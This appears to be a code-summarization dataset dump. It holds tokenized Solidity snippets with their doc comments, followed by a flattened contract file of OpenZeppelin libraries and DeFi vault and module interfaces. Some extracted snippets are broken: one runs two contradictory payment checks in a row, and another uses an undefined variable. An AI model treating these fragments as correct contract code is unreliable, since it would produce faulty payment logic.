0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
3755,
2582,
12,
203,
3639,
533,
3778,
603,
3893,
2582,
548,
16,
203,
3639,
2254,
5034,
19650,
16,
203,
3639,
2254,
5034,
1509,
951,
20127,
16,
203,
3639,
1426,
711,
2279,
9762,
203,
565,
262,
3903,
1338,
1988,
1224,
1162,
59,
581,
301,
12,
454,
8825,
63,
265,
3893,
2582,
548,
8009,
2680,
9646,
5310,
1085,
2310,
13,
288,
203,
3639,
2583,
12,
291,
2582,
4002,
63,
265,
3893,
2582,
548,
6487,
315,
5086,
1552,
486,
1005,
8863,
203,
203,
3639,
8094,
3103,
6840,
3103,
5664,
18,
2582,
2502,
3329,
273,
777,
8825,
63,
265,
3893,
2582,
548,
15533,
203,
3639,
2583,
12,
203,
5411,
315,
5086,
353,
486,
2695,
6,
203,
3639,
11272,
203,
203,
3639,
509,
5034,
1509,
951,
20127,
8583,
72,
774,
56,
20136,
273,
1509,
951,
20127,
18,
26790,
8583,
774,
12,
2629,
18,
5508,
1769,
203,
3639,
2583,
12,
203,
5411,
1509,
951,
20127,
8583,
72,
774,
56,
20136,
422,
300,
21,
747,
1509,
951,
20127,
8583,
72,
774,
56,
20136,
422,
374,
16,
203,
5411,
315,
712,
434,
11690,
2780,
506,
316,
326,
8854,
6,
203,
3639,
11272,
203,
203,
3639,
509,
5034,
1509,
951,
20127,
8583,
72,
774,
6663,
1626,
273,
1509,
951,
20127,
18,
26790,
8583,
774,
12,
5086,
18,
11185,
1626,
1769,
203,
3639,
2583,
12,
203,
5411,
1509,
951,
20127,
8583,
72,
774,
6663,
1626,
422,
404,
747,
1509,
951,
20127,
8583,
72,
774,
6663,
1626,
422,
374,
16,
203,
5411,
315,
5086,
353,
486,
3613,
9748,
6,
203,
3639,
11272,
203,
2
]
|
./full_match/3/0x7295C2BE0Fabca03ED3514C3dd99658EbC25f3f3/sources/browser/Contract_Code_v2_Min.sol | * @dev set Resonance Ratio @param newRatio new Ratio/check | function setRatio(uint newRatio)
external
onlyIfWhitelisted
{
require(newRatio >= paramsMapping[2001] && newRatio <= paramsMapping[2002], "invalid Ratio range");
ResonanceData storage resonance = resonanceDataMapping[rid];
resonance.ratio = newRatio;
}
| 8,114,304 | [
1,
542,
1124,
265,
1359,
534,
4197,
225,
394,
8541,
394,
534,
4197,
19,
1893,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
444,
8541,
12,
11890,
394,
8541,
13,
203,
3639,
3903,
203,
3639,
1338,
2047,
18927,
329,
203,
565,
288,
203,
3639,
2583,
12,
2704,
8541,
1545,
859,
3233,
63,
6976,
21,
65,
597,
394,
8541,
1648,
859,
3233,
63,
6976,
22,
6487,
315,
5387,
534,
4197,
1048,
8863,
203,
203,
3639,
1124,
265,
1359,
751,
2502,
400,
265,
1359,
273,
400,
265,
1359,
751,
3233,
63,
1691,
15533,
203,
203,
3639,
400,
265,
1359,
18,
9847,
273,
394,
8541,
31,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/11155111/0xd9a549f527f9bd9e3cbA51a43acd78ea562D53a9/sources/src/FloorDrop.sol | //*/ @dev Runs before every `claim` function call. Check if it's the mint pass pre-sale and if so, apply the discount check if the correct value is sent | Internal functions
function _beforeClaim(
address,
uint256 _quantity,
address,
uint256 _pricePerToken,
AllowlistProof calldata,
bytes memory _data
) internal view virtual override {
if (_quantity < MIN_CLAIM_QUANTITY) {
revert("Quantity too low");
}
uint256 activeConditionId = getActiveClaimConditionId();
uint256 mintPassFreeTokenCount = 0;
if (activeConditionId == 0) {
mintPassFreeTokenCount = 2;
}
if (_isMintboss(bytes20(_data))) {
require(msg.value == (_quantity - mintPassFreeTokenCount) * (_pricePerToken - discountPerToken), "Incorrect value sent");
require(msg.value == (_quantity - mintPassFreeTokenCount) * _pricePerToken, "Incorrect value sent");
}
if (_currentIndex + _quantity > nextTokenIdToLazyMint) {
revert("Not enough minted tokens");
}
}
| 3,841,266 | [
1,
28111,
225,
1939,
87,
1865,
3614,
1375,
14784,
68,
445,
745,
18,
2073,
309,
518,
1807,
326,
312,
474,
1342,
675,
17,
87,
5349,
471,
309,
1427,
16,
2230,
326,
12137,
866,
309,
326,
3434,
460,
353,
3271,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
13491,
3186,
4186,
203,
203,
565,
445,
389,
5771,
9762,
12,
203,
3639,
1758,
16,
203,
3639,
2254,
5034,
389,
16172,
16,
203,
3639,
1758,
16,
203,
3639,
2254,
5034,
389,
8694,
2173,
1345,
16,
203,
3639,
7852,
1098,
20439,
745,
892,
16,
203,
3639,
1731,
3778,
389,
892,
203,
565,
262,
2713,
1476,
5024,
3849,
288,
203,
3639,
309,
261,
67,
16172,
411,
6989,
67,
15961,
3445,
67,
3500,
6856,
4107,
13,
288,
203,
5411,
15226,
2932,
12035,
4885,
4587,
8863,
203,
3639,
289,
203,
3639,
2254,
5034,
2695,
3418,
548,
273,
11960,
9762,
3418,
548,
5621,
203,
3639,
2254,
5034,
312,
474,
6433,
9194,
1345,
1380,
273,
374,
31,
203,
3639,
309,
261,
3535,
3418,
548,
422,
374,
13,
288,
203,
5411,
312,
474,
6433,
9194,
1345,
1380,
273,
576,
31,
203,
3639,
289,
203,
3639,
309,
261,
67,
291,
49,
474,
70,
8464,
12,
3890,
3462,
24899,
892,
20349,
288,
203,
5411,
2583,
12,
3576,
18,
1132,
422,
261,
67,
16172,
300,
312,
474,
6433,
9194,
1345,
1380,
13,
380,
261,
67,
8694,
2173,
1345,
300,
12137,
2173,
1345,
3631,
315,
16268,
460,
3271,
8863,
203,
5411,
2583,
12,
3576,
18,
1132,
422,
261,
67,
16172,
300,
312,
474,
6433,
9194,
1345,
1380,
13,
380,
389,
8694,
2173,
1345,
16,
315,
16268,
460,
3271,
8863,
203,
3639,
289,
203,
203,
3639,
309,
261,
67,
2972,
1016,
397,
389,
16172,
405,
9617,
28803,
14443,
49,
474,
13,
288,
203,
5411,
15226,
2932,
1248,
7304,
312,
474,
329,
2430,
8863,
203,
3639,
289,
2
]
|
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts-ethereum-package\contracts\math\SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\utils\Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin\upgrades\contracts\Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\GSN\Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\ownership\Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
// File: contracts\common\Base.sol
pragma solidity ^0.5.12;
/**
* Base contract for all modules
*/
contract Base is Initializable, Context, Ownable {
address constant ZERO_ADDRESS = address(0);
function initialize() public initializer {
Ownable.initialize(_msgSender());
}
}
// File: contracts\core\ModuleNames.sol
pragma solidity ^0.5.12;
/**
* @dev List of module names
*/
contract ModuleNames {
// Pool Modules
string internal constant MODULE_ACCESS = "access";
string internal constant MODULE_SAVINGS = "savings";
string internal constant MODULE_INVESTING = "investing";
string internal constant MODULE_STAKING_AKRO = "staking";
string internal constant MODULE_STAKING_ADEL = "stakingAdel";
string internal constant MODULE_DCA = "dca";
string internal constant MODULE_REWARD = "reward";
string internal constant MODULE_REWARD_DISTR = "rewardDistributions";
string internal constant MODULE_VAULT = "vault";
// Pool tokens
string internal constant TOKEN_AKRO = "akro";
string internal constant TOKEN_ADEL = "adel";
// External Modules (used to store addresses of external contracts)
string internal constant CONTRACT_RAY = "ray";
}
// File: contracts\common\Module.sol
pragma solidity ^0.5.12;
/**
* Base contract for all modules
*/
contract Module is Base, ModuleNames {
event PoolAddressChanged(address newPool);
address public pool;
function initialize(address _pool) public initializer {
Base.initialize();
setPool(_pool);
}
function setPool(address _pool) public onlyOwner {
require(_pool != ZERO_ADDRESS, "Module: pool address can't be zero");
pool = _pool;
emit PoolAddressChanged(_pool);
}
function getModuleAddress(string memory module) public view returns(address){
require(pool != ZERO_ADDRESS, "Module: no pool");
(bool success, bytes memory result) = pool.staticcall(abi.encodeWithSignature("get(string)", module));
//Forward error from Pool contract
if (!success) assembly {
revert(add(result, 32), result)
}
address moduleAddress = abi.decode(result, (address));
// string memory error = string(abi.encodePacked("Module: requested module not found - ", module));
// require(moduleAddress != ZERO_ADDRESS, error);
require(moduleAddress != ZERO_ADDRESS, "Module: requested module not found");
return moduleAddress;
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\access\Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: contracts\modules\defi\DefiOperatorRole.sol
pragma solidity ^0.5.12;
contract DefiOperatorRole is Initializable, Context {
using Roles for Roles.Role;
event DefiOperatorAdded(address indexed account);
event DefiOperatorRemoved(address indexed account);
Roles.Role private _operators;
function initialize(address sender) public initializer {
if (!isDefiOperator(sender)) {
_addDefiOperator(sender);
}
}
modifier onlyDefiOperator() {
require(isDefiOperator(_msgSender()), "DefiOperatorRole: caller does not have the DefiOperator role");
_;
}
function addDefiOperator(address account) public onlyDefiOperator {
_addDefiOperator(account);
}
function renounceDefiOperator() public {
_removeDefiOperator(_msgSender());
}
function isDefiOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addDefiOperator(address account) internal {
_operators.add(account);
emit DefiOperatorAdded(account);
}
function _removeDefiOperator(address account) internal {
_operators.remove(account);
emit DefiOperatorRemoved(account);
}
}
// File: contracts\interfaces\defi\IDefiStrategy.sol
pragma solidity ^0.5.12;
contract IDefiStrategy {
/**
* @notice Transfer tokens from sender to DeFi protocol
* @param token Address of token
* @param amount Value of token to deposit
* @return new balances of each token
*/
function handleDeposit(address token, uint256 amount) external;
function handleDeposit(address[] calldata tokens, uint256[] calldata amounts) external;
function withdraw(address beneficiary, address token, uint256 amount) external;
function withdraw(address beneficiary, uint256[] calldata amounts) external;
function setVault(address _vault) external;
function normalizedBalance() external returns(uint256);
function balanceOf(address token) external returns(uint256);
function balanceOfAll() external returns(uint256[] memory balances);
function getStrategyId() external view returns(string memory);
}
// File: contracts\interfaces\defi\IStrategyCurveFiSwapCrv.sol
pragma solidity ^0.5.12;
interface IStrategyCurveFiSwapCrv {
event CrvClaimed(string indexed id, address strategy, uint256 amount);
function curveFiTokenBalance() external view returns(uint256);
function performStrategyStep1() external;
function performStrategyStep2(bytes calldata _data, address _token) external;
}
// File: contracts\interfaces\defi\IVaultProtocol.sol
pragma solidity ^0.5.12;
//solhint-disable func-order
contract IVaultProtocol {
event DepositToVault(address indexed _user, address indexed _token, uint256 _amount);
event WithdrawFromVault(address indexed _user, address indexed _token, uint256 _amount);
event WithdrawRequestCreated(address indexed _user, address indexed _token, uint256 _amount);
event DepositByOperator(uint256 _amount);
event WithdrawByOperator(uint256 _amount);
event WithdrawRequestsResolved(uint256 _totalDeposit, uint256 _totalWithdraw);
event StrategyRegistered(address indexed _vault, address indexed _strategy, string _id);
